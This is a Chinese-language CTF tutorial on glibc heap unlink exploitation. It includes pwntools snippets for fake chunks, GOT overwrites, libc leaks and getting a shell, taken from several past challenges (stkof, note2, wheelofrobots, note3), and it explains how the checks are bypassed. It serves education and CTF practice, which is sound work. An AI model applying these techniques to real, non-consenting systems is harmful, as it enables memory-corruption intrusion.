pwn堆入门系列教程4
字数 1205 2025-08-25 22:59:09

Unlink漏洞利用技术详解

1. Unlink基础原理

Unlink是堆利用中的一种关键技术,主要利用glibc中双向链表操作的安全检查缺陷来实现任意地址读写。

1.1 Unlink操作的核心机制

当释放一个chunk时,如果相邻的前一个或后一个chunk处于空闲状态,glibc会执行合并操作,此时会调用unlink宏将空闲chunk从双向链表中移除。

关键数据结构:

struct malloc_chunk {
  size_t      prev_size;  /* Size of previous chunk (if free) */
  size_t      size;       /* Size in bytes, including overhead */
  struct malloc_chunk* fd; /* double links -- used only if free */
  struct malloc_chunk* bk;
};

1.2 伪造chunk的条件

要成功利用unlink,需要满足以下条件:

  1. 伪造一个fake chunk,设置合理的prev_size和size
  2. 通过堆溢出修改相邻chunk的size字段,设置PREV_INUSE位为0
  3. 伪造的fd和bk指针需要满足安全检查:
    • FD->bk == P
    • BK->fd == P

2. 典型利用场景分析

2.1 HITCON 2014 stkof题目分析

漏洞点

  • 编辑功能中存在堆溢出,可以覆盖相邻chunk的元数据
  • 无输出功能,需要通过其他方式泄露地址

利用步骤

  1. 堆布局
alloc(0x100)  # idx1
alloc(0x30)   # idx2 
alloc(0x80)   # idx3
alloc(0x30)   # idx4
  1. 构造fake chunk并触发unlink
ptr = 0x0000000000602140 + 0x10
payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30) + p64(0x90)  # 修改idx3的prev_size和size
fill(2, payload)
delete(3)  # 触发unlink
  1. 任意地址写
payload = 'a'*0x10 + p64(free_got) + p64(puts_got) + 'a'*8 + p64(atoi_got)
fill(2, payload)
fill(1, p64(puts_plt))  # 修改free@got为puts@plt
  1. 泄露libc地址
delete(2)  # 触发puts(puts@got)
puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
  1. getshell
fill(4, p64(system_addr))
io.sendline("/bin/sh\x00")

2.2 2016 ZCTF note2题目分析

漏洞点

  • 编辑note时会申请固定大小内存,但free后未置NULL
  • 存在UAF漏洞

利用步骤

  1. 堆布局与unlink
ptr = 0x0000000000602120
payload = p64(0) + p64(0xa0) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x80, 'a')
newnote(0x80, payload)  # 创建fake chunk
  1. 修改全局指针
payload = 'a'*0x18 + p64(elf.got['atoi'])
editnote(0, 1, payload)  # 修改指针指向atoi@got
  1. 泄露地址
shownote(0)
atoi_addr = u64(io.recvline().strip().ljust(8, '\x00'))
  1. getshell
editnote(0, 1, p64(system_addr))
io.sendline("/bin/sh")

3. 高级利用技巧

3.1 Off-by-one利用

在2017 insomni'hack wheelofrobots题目中:

  1. 利用off-by-one修改fd指针
off_by_one('\x01')  # 修改最低字节
change(2, p64(0x0000000000603138))  # 指向目标地址
  1. 绕过fastbin检查
off_by_one('\x00')  # 恢复size字段
  1. 构造unlink
ptr = 0x00000000006030E8
payload = p64(0) + p64(0x50) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x50, 'a')
payload += p64(0x50) + p64(0xa0)  # 设置伪造的prev_size和size

3.2 特殊场景处理

在zctf-note3题目中遇到的坑:

  1. 输入函数导致的覆盖问题
// 读取函数会覆盖下一个地址的最后一位为\x00
*(_BYTE *)(a1 + i) = 0;

解决方案:

edit(1, p64(elf.plt['puts'])[:-1])  # 避免发送换行符
  1. fastbin检查绕过
  • 不能随意删除中间chunk,否则会破坏堆结构
  • 需要精心设计释放顺序

4. 防御与绕过

4.1 glibc的保护机制

  1. 双向链表完整性检查
// glibc中的安全检查
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
  malloc_printerr ("corrupted double-linked list");
  1. size字段检查
  • 检查size是否对齐
  • 检查PREV_INUSE位

4.2 绕过技巧

  1. 伪造满足条件的FD和BK
p64(ptr-0x18)  # FD
p64(ptr-0x10)  # BK
  1. 精心设计堆布局
  • 确保伪造的chunk size与相邻chunk的prev_size匹配
  • 确保释放顺序不会触发其他检查

5. 工具与调试技巧

  1. gdb调试命令
gdb-peda$ x/20gx 0x20f7560-0x30  # 查看堆内存
gdb-peda$ heap chunks             # 查看堆chunk布局
gdb-peda$ heap bins               # 查看各类bin的状态
  1. pwntools技巧
context.log_level = 'debug'  # 显示详细交互信息
gdb.attach(io)               # 附加gdb调试

6. 总结与经验

  1. 关键经验
  • 理解unlink操作的本质是修改指针的指针
  • 全局数组/指针的位置选择很重要(通常选择ptr-0x18和ptr-0x10)
  • 注意输入函数的具体行为,避免意外覆盖
  1. 学习建议
  • 从简单题目开始,逐步理解unlink机制
  • 多调试,观察内存变化
  • 掌握不同glibc版本的区别
  1. 扩展思考
  • 如何在没有输出功能的情况下利用unlink?
  • 如何结合其他漏洞(如off-by-one)增强unlink的利用效果?
  • 如何应对不同保护机制(如RELRO, PIE等)?
Unlink漏洞利用技术详解 1. Unlink基础原理 Unlink是堆利用中的一种关键技术,主要利用glibc中双向链表操作的安全检查缺陷来实现任意地址读写。 1.1 Unlink操作的核心机制 当释放一个chunk时,如果相邻的前一个或后一个chunk处于空闲状态,glibc会执行合并操作,此时会调用unlink宏将空闲chunk从双向链表中移除。 关键数据结构: 1.2 伪造chunk的条件 要成功利用unlink,需要满足以下条件: 伪造一个fake chunk,设置合理的prev_ size和size 通过堆溢出修改相邻chunk的size字段,设置PREV_ INUSE位为0 伪造的fd和bk指针需要满足安全检查: FD->bk == P BK->fd == P 2. 典型利用场景分析 2.1 HITCON 2014 stkof题目分析 漏洞点 编辑功能中存在堆溢出,可以覆盖相邻chunk的元数据 无输出功能,需要通过其他方式泄露地址 利用步骤 堆布局 构造fake chunk并触发unlink 任意地址写 泄露libc地址 getshell 2.2 2016 ZCTF note2题目分析 漏洞点 编辑note时会申请固定大小内存,但free后未置NULL 存在UAF漏洞 利用步骤 堆布局与unlink 修改全局指针 泄露地址 getshell 3. 高级利用技巧 3.1 Off-by-one利用 在2017 insomni'hack wheelofrobots题目中: 利用off-by-one修改fd指针 绕过fastbin检查 构造unlink 3.2 特殊场景处理 在zctf-note3题目中遇到的坑: 输入函数导致的覆盖问题 解决方案: fastbin检查绕过 不能随意删除中间chunk,否则会破坏堆结构 需要精心设计释放顺序 4. 防御与绕过 4.1 glibc的保护机制 双向链表完整性检查 size字段检查 检查size是否对齐 检查PREV_ INUSE位 4.2 绕过技巧 伪造满足条件的FD和BK 精心设计堆布局 确保伪造的chunk size与相邻chunk的prev_ size匹配 确保释放顺序不会触发其他检查 5. 工具与调试技巧 gdb调试命令 pwntools技巧 6. 总结与经验 关键经验 理解unlink操作的本质是修改指针的指针 全局数组/指针的位置选择很重要(通常选择ptr-0x18和ptr-0x10) 注意输入函数的具体行为,避免意外覆盖 学习建议 从简单题目开始,逐步理解unlink机制 多调试,观察内存变化 掌握不同glibc版本的区别 扩展思考 如何在没有输出功能的情况下利用unlink? 如何结合其他漏洞(如off-by-one)增强unlink的利用效果? 如何应对不同保护机制(如RELRO, PIE等)?